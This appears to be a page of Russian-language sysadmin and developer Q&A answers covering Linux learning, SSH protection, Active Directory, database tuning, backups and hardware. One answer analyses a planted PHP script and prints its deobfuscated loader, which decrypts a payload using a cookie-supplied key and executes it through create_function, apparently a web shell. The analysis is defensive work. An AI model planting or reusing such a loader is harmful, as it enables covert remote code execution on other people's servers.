• Книжка/курс по Linux для новичка?

    @Mako_357
    Брайан Уорд Внутренее устройство Linux. Проще книгу не видел, затрагивает все устройство Linux, но кратко и по существу. На 380 стр. Читается легко.
    Из видеоуроков порекомендую канал Кирилла Семаева на ютубе. Ищется легко. Тебе нужен плейлист LPIC-1. Объясняет понятно и интересно.
    Ответ написан
    Комментировать
  • Есть ли ловушка для ssh в linux?

    Используйте fail2ban для ограничения активности ботов. Нестандартный порт так же значительно снижает вероятность стать целью.

    Если хотите поиграться, попробуйте настроить lshell
    Ответ написан
    2 комментария
  • Есть ли ловушка для ssh в linux?

    @Blaine_Mono
    Настройте вход по ключу и отключите авторизацию по паролю.
    Ответ написан
    Комментировать
  • Со знанием какого языка программирования (Python или JavaScript), проще устроиться на работу?

    Kozack
    @Kozack Куратор тега JavaScript
    Thinking about a11y
    Не буду судить, но как по мне тут не очень правильная позиция. Если вы думаете что изучать, смотрите не на язык, а на направление. Скажем, в вашем городе очень большой спрос на разработчиков мобильных приложений. Изучите какие требования по этим вакансиям и уже от этого отталкивайтесь выбирая что учить.

    Так то в том же JavaScript: вы можете очень подробно изучить принцып работы браузера, API DOM, рендеринга, и будете потрясным специалистом в данной области, но абсолютно бесполезны в разработке серверных решений на том же JavaScript
    Ответ написан
    Комментировать
  • Как востановить работоспособность домена AD?

    Официально - этот кейс микрософт решает только перевведением машины в домен. К сожалению, это единственный верный способ - все остальные кустарные методы могут сработать, могут нет на случайной машинке (в подавляющем большинстве случаев - нет). Из того, что могло произойти - самое похожее - сбой питания, системная ошибка на контроллере, приведшая к ребуту. При загрузке ОС произошло восстановление автоматом на последнюю имеющуюся точку восстановления, т.к. это идет по дефолту при очередном включении после непредвиженного сбоя. Эта точка скорее всего была довольно давно создана, и ряд компьютеров, обновивших не так давно пароли оказались в восстановленной базе АД со старыми паролями - соответсвенно потеряли доверие контроллера, т.к. суют не те пароли. Это решается только перевводом машины в домен. У вас только один контроллер домена?
    Ответ написан
    2 комментария
  • А есть альтернатива Active Directory под линуксом?

    CityCat4
    @CityCat4
    Внимание! Изменился адрес почты!
    А в чем собственно вопрос-то? Систем глобального каталога - их всего две - AD/Samba (плюс различные вариации с LDAP) и IPA. Если не одна - то другая. Если ни одна ни другая - значит велосипед или ниичаво...
    Ответ написан
    6 комментариев
  • Заражение вирусами в ОЧЕНЬ большой сети?

    Конечно такая сеть - это полный кашмар и что то тут посоветовать сложно. Тут нужен комплексный подход. Рекомендую обратиться к специалистам в одну из антивирусных компаний, а так же компаний специализирующихся на программно-аппаратных файеволах (Fortinet, Check Point Software).

    А если брать проблему локально, то нужно смотреть каким крипто-локером заразились, к примеру у того же WannaCry или Petya (Not.Petya) есть стоп-файл, наличие которого в определенных местах останавливает работу крипто-локера. Конечно пробежаться по 6 тыс. ПК практически нереально, но....
    Ответ написан
    Комментировать
  • Свинцово-кислотный аккумулятор от автомобиля для UPS?

    Jump
    @Jump
    Системный администратор со стажем.
    Если вы хотите просто подключить автомобильный аккумулятор вместо штатного - все верно.
    Достаточно соединить проводами и только.
    Есть небольшой нюанс - UPS не рассчитан на длительную работу от аккумулятора - от штатного он отключится через пять минут и не успеет нагрется. А на автомобильном он способен работать полчаса и более за это время он успеет нагреться. перегреться и сгореть нафиг. Поэтому вентиляторы, радиаторы и прочие средства охлаждения.

    Ну и следует понимать что зарядка от UPS слабенькая, поэтому заряжать будет долго.
    Ответ написан
  • Как снизить нагрузку на БД или какую БД использовать?

    landergate
    @landergate
    IT-шный jack-of-all-trades
    Миллионы записей - это совершенно обычный и, я бы сказал, крайне небольшой кейс для MySQL.

    Самое быстрое: отпрофилировать запросы (например, performance_schema=1 и подключить sys-таблицы, они наполнятся данными по прошествии времени), найти неоптимизированные индексами и добавить недостающие индексы на этих таблицах.
    Ответ написан
    8 комментариев
  • Как снизить нагрузку на БД или какую БД использовать?

    Maksclub
    @Maksclub
    maksfedorov.ru
    В порядке действий:
    • анализ, что работает медленно (не "заказчик говорит медленно", а например "запрос для товаров, при выборке по акциям и покупателям" работает 2 секунды)
    • оптимизация кода, работающего с запросами (снижение числа запросов или более точные выборки) -- самая популярная проблема,

      - снижал на этом только этапе в 1000-1500 раз,
      - видел по 1500 запросов на страницу,
      - видел 1 запрос, но на всю таблицу и потом по коду с этими данными гигантская работа, когда можно было сделать 2 ооочень шустрых запроса в БД с конечными данными :)
      - запросы в цикле, очень много раз видел (гуглить проблема N+1)


    • оптимизация медленных запросов

      Сделать запрос более быстрым, за счет или более точных выборок, или более верного синтаксиса, или стоит например раздробить на нексколько очень мелких, а бекендом все привести к нужному виду

    • индексы (сильно оптимизируют и бывают достаточны для решений многих бед со скоростью на большой выборке)
    • кеш на стороне БД
    • кеш на стороне приложения
    • денормализация некоторых данных, например предагрегация (например меню сайта и нужно для каждого вывести число твоаров, каждый пункт связан с категорией, категорий много, чтобы каждый раз по 100 категорий на подсчет товаров для каждой не делать -- делать это сильно реже и хранить в некой агрегирующей табличке)

    С техниками типа шардинга/репликации никогда не работал
    Ответ написан
    1 комментарий
  • Есть ли готовые скрипты защиты от парсеров для nginx?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    1. Сделайте простую защиту от парсинга и максимально "отшлифуйте" SEO на всём сайте.
    2. После создания публикации, сразу отправляйте пинг на поисковые системы.
    3. Новые статьи открывайте на паблик через 10 минут после пинга (именно для обычных браузеров! Для поисковых систем - открываем сразу!).
    4. Для постоянных пользователей сообщества (исключая недавно зарегистрированных!) - открывайте сразу же после добавления публикации.

    Пинг-лист
    http://blogsearch.google.com/ping/RPC2
    http://bblog.com/ping.php
    http://bitacoras.net/ping
    http://blog.goo.ne.jp/XMLRPC
    http://blogdb.jp/xmlrpc
    http://blogmatcher.com/u.php
    http://bulkfeeds.net/rpc
    http://coreblog.org/ping/
    http://mod-pubsub.org/kn_apps/blogchatt
    http://www.lasermemory.com/lsrpc/
    http://ping.blo.gs/
    http://ping.bloggers.jp/rpc/
    http://ping.feedburner.com
    http://ping.rootblog.com/rpc.php
    http://pingoat.com/goat/RPC2
    http://rpc.blogbuzzmachine.com/RPC2
    http://rpc.blogrolling.com/pinger/
    http://rpc.pingomatic.com
    http://rpc.weblogs.com/RPC2
    http://topicexchange.com/RPC2
    http://trackback.bakeinu.jp/bakeping.php
    http://www.bitacoles.net/ping.php
    http://www.blogoole.com/ping/
    http://www.blogpeople.net/servlet/weblogUpdates
    http://www.blogshares.com/rpc.php
    http://www.blogsnow.com/ping
    http://www.blogstreet.com/xrbin/xmlrpc.cgi
    http://www.mod-pubsub.org/kn_apps/blogchatter/ping.php
    http://www.newsisfree.com/RPCCloud
    http://www.newsisfree.com/xmlrpctest.php
    http://www.snipsnap.org/RPC2
    http://www.weblogues.com/RPC/
    http://xmlrpc.blogg.de
    http://1470.net/api/ping
    http://api.feedster.com/ping
    http://api.moreover.com/ping
    http://api.moreover.com/RPC2
    http://api.my.yahoo.com/RPC2
    http://api.my.yahoo.com/rss/ping
    http://blo.gs/ping.php
    http://blogs.yandex.ru/
    http://geourl.org/ping
    http://ipings.com
    http://ping.amagle.com/
    http://ping.bitacoras.com
    http://ping.blogmura.jp/rpc/
    http://ping.blogs.yandex.ru/RPC2
    http://ping.cocolog-nifty.com/xmlrpc
    http://ping.exblog.jp/xmlrpc
    http://ping.fc2.com/
    http://ping.myblog.jp
    http://ping.rss.drecom.jp/
    http://ping.syndic8.com/xmlrpc.php
    http://ping.weblogalot.com/rpc.php
    http://ping.weblogs.se/
    http://rcs.datashed.net/RPC2/
    http://rpc.bloggerei.de/
    http://rpc.bloggerei.de/ping/
    http://rpc.copygator.com/ping/
    http://rpc.icerocket.com:10080/
    http://rpc.newsgator.com/
    http://rpc.odiogo.com/ping/
    http://rpc.technorati.com/rpc/ping
    http://rpc.twingly.com
    http://www.a2b.cc/setloc/bp.a2b
    http://www.blogdigger.com/RPC2
    http://www.blogoon.net/ping/
    http://www.blogroots.com/tb_populi.blog?id=1
    http://www.feedsubmitter.com
    http://www.pingerati.net
    http://www.pingmyblog.com
    http://www.popdex.com/addsite.php
    http://www.weblogalot.com/ping
    http://xping.pubsub.com/ping
    http://pingomatic.com
    http://pingler.com
    http://indexkings.com
    http://totalping.com
    http://pingfarm.com
    http://pingmyurl.com
    http://addurl.nu/
    http://googleping.com
    http://pingsitemap.com
    http://pingbomb.com
    http://mypagerank.net
    http://twingly.com/ping
    http://ping.in
    http://coreblog.org/ping
    http://feedshark.brainbliss.com
    http://pingoat.net
    http://backlinkping.com
    http://nimtools.com/online-ping-website-tool
    http://blogbuzzer.com
    http://weblogs.com
    http://pingmyblog.com
    http://bulkping.com
    http://auto-ping.com
    http://rpc.weblogs.com
    http://autopinger.com
    http://icerocket.com
    http://blogsnow.com/ping
    http://weblogalot.com/ping
    http://feedsubmitter.com
    http://pingerati.net
    http://pingmylink.com
    http://syncr.com
    http://blogpingtool.com
    http://blogmatcher.com
    http://pinggator.com
    http://pingates.com
    Ответ написан
    Комментировать
  • Как бы вы распланировали терминальный сервер?

    mindtester
    @mindtester Куратор тега Windows
    http://iczin.su/hexagram_48
    1 - невозможно дать точный ответ не зная особенностей
    2 - ключи usb 1С есть? обдумайте Hyper-V, рекомендую. эта редакция сервера бесплатна, единственный минус - нет проброса usb, зато динамическое распределение памяти. если умеете ставить ключи на другом компе (может старый тауэр?) и шарить по сети - Hyper-V лучший выбор для хостинга виндовых виртуалок. диски придется распределять на глазок, но это не сложно, если не пытаться туда повесить офисную файлосвалку (ее желательно содержать отдельно). в любом случае все это надо мониторить, когда будет более ясная картина, можно уточнить распределение и стартовое выделение памяти и ядер. при наличии бекапов, в специально выделенное время, можно и диски подвигать, если понадобится. далее рассуждения вне зависимости от выбора гипервизора
    3 -
    SSD - 1x265Gb
    явно с перевесом в пользу в пользу терминала, но и для АД не менее 1/3. если вынести с системного диска терминала все пользовательские профили на рейд (вы же рейд планируете на хардах?) что было бы правильно, тогда примерно АД/Терминал=2/3 можно, или даже пополам. зажимать АД тоже не следует
    4 -
    HDD - 4x1Tb
    явно весь отдать Терминалу. настоятельно рекомендую райд 10 (единственных райд, у которого скорость растет пропорционально количеству дисков). не смотря на больший проигрыш в объеме, лучшее быстродействие и высокая надежность. в 10ку лучше 8 дешевых дисков, чем 4 дорогих (но пару дисков этой модели стоит еще положить на полку для аварийной замены)
    5 - АД - настоятельно рекомендую делать резервный контроллер АД (!!! не разнесение ролей, а именно резервный). хорошим решением будет разместить его в другом физическом компьютере (может старый тауэр?)
    6 - если требуется достаточно объемное файлохранилище - настоятельная рекомендация, снова в отдельном компьютере.. (третий раз повторяться не буду, но в общем случае, НЕ интенсивно эксплуатируемое файлохранилище, можно совместить с резервным контроллером АД ))
    7 -
    как правильно организовать backup всей этой радости?
    обычно тут не надо ни чего изобретать - SQL штатными его штатными средствами (изучайте схемы бекапирования, потеря дня работы, возможно уже будет стоить дорого), Терминал и АД - собственными средствами винсервера (в часы минимальной нагрузки, снова схемы, но один суточный бекап тут обычно допустим). а вот над чем стоит задуматься - носитель бекапов должен быть снова в другом компьютере (или стример). это важно. допустим что то очень нехорошее случилось и накрывается весь рейд - если бекапы на нем, то ой
    7+ - есть сторонние решения, типа veeam backup (и вроде там есть бесплатная редакция), они помогают мониторить процессы бекапирования, облегчают настройку, отчеты, восстановление. но как правило, такие решения требуют однозначно выделенного бекап-севрвера и установку агентов на бекапируемые сервера/станции. это дополнительные расходы и ресурсов на серверах, и на сам бекап-сервер. они оправданы когда штат мал (вы один) а серверов уже как собак нерезаных
    7++ - о стримерах - упал потолок в серверной, в здание попал метиорит (тфу-тфу) - если ваши бекапы в одном помещении - опять ж.. надежная схема предусматривает ступенчатое бекапировани, и хранение самых долговременных носителе в другом расположении. но это отдельна большая тема, там и инфобезопасность притягивается, и тд.. хотя все доступно в сети
    Ответ написан
    2 комментария
  • Можно ли сделать «умный дом» по настоящему умным?

    @azsx
    Так как у меня в квартире 48 квадратов проблема с вентиляцией, я шаг за шагом мастерю свою климат систему.
    будь то отопление, ИТП, вентиляция, кондиционирование, электроснабжение, теплые полы и др.

    Кроме ИТП -- это всё функции климат контроля и он не требует никакого ИИ или машинного обучения. Система климат контроля просто пользуется теплом, как электричеством. Рассмотрим идеал.
    Мы имеем вентиляционный короб по всей квартире, который распределяет холодный (кондиционер) и тёплый (от батареи отопления) воздух. Также идёт постоянный приток свежего воздуха с улицы.
    Что требуется.
    По одному термодатчику на комнату. Три программы управления: никого нет дома, дома кто-то есть, ночь. И для вычисления сколько свежего воздуха надо забирать с улицы, соответственно прокачивать в квартире -- сколько всего человек, по пять штук. Например, если у Вас в гостях 15 человек.
    Для ванной и туалета, логичнее постелить резиновый коврик, но можно и купить тёплые полы. Там выключатель.
    Как Вы сюда присобачите ИИ и что Вы хотите обучать?
    Проблема умных домов, по моему мнению в том, что для бедных системы дороги как по деньгам, так и по время затратам. Для богатых системы умного дома безумно дороги по время затратам на их установку (даже если заказывать спецов) и последующее обслуживание. И всё привязано к электричеству.
    Также, умный дом начинается со слов дом и придомовая территория, тогда вообще становится не понятно что там умного смастерить можно для квартир для 99,99% обывателей.
    Ответ написан
    7 комментариев
  • Накрылся ли процессор?

    CityCat4
    @CityCat4
    Внимание! Изменился адрес почты!
    БП исправен? Если замкнуть на основном разьеме пины, отвечающие за команду включения (черный и зеленый провода) - БП стартует, кулеры вертеться начинают?
    Если да, то проблема может быть в кнопке питания - у меня было именно так, пришлось вместо нее использовать кнопку reset...
    Ответ написан
    Комментировать
  • Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    riky
    @riky
    Laravel
    Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

    Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

    if (!empty($_COOKIE["key"])) {
        $F = $_COOKIE["key"];
        $e = strlen($F);
        $n = [];
        for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
        $m = base64_decode(str_replace("\n", '', $m));
        for ($r = 0; $r < 44378; ++$r) {
            $_ = abs($n[$r % $e] - $r);
            $F = $m[$_];
            $m[$_] = $m[$r];
            $m[$r] = $F;
        }
        if ($e < 10) $e *= $e & 1 ? 3 : 2;
        if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
            $m = substr($m, $e);
            echo $e, $r;
            @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
        }
    }


    PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

    сохранять можно например таким кодом:
    <?php
    file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
    Ответ написан
    Комментировать
  • Arduino преобразование радиосигнала в инфракрасный для включения светодиода?

    @kn0ckn0ck
    Продюсер
    Вот описана элементная база, схема и программа для Arduino под похожую задачу - дистанционное управление освещением (по 433МГц). Лишние элементы и код можно выбросить и получится то, что нужно.
    Ответ написан
    Комментировать
  • Linux для очень слабого эмулятора?

    POS_troi
    @POS_troi
    СадоМазо Админ, флудер, троль.
    Любой, популярный дистрибьютив, можно Alpine ещё взять.
    Если хочется чего-то вообще нестандартного, то можно пойти по пути джедаев (и да прибудет с вами сила и бочка вискаря :) ) - LFS
    Ответ написан
    2 комментария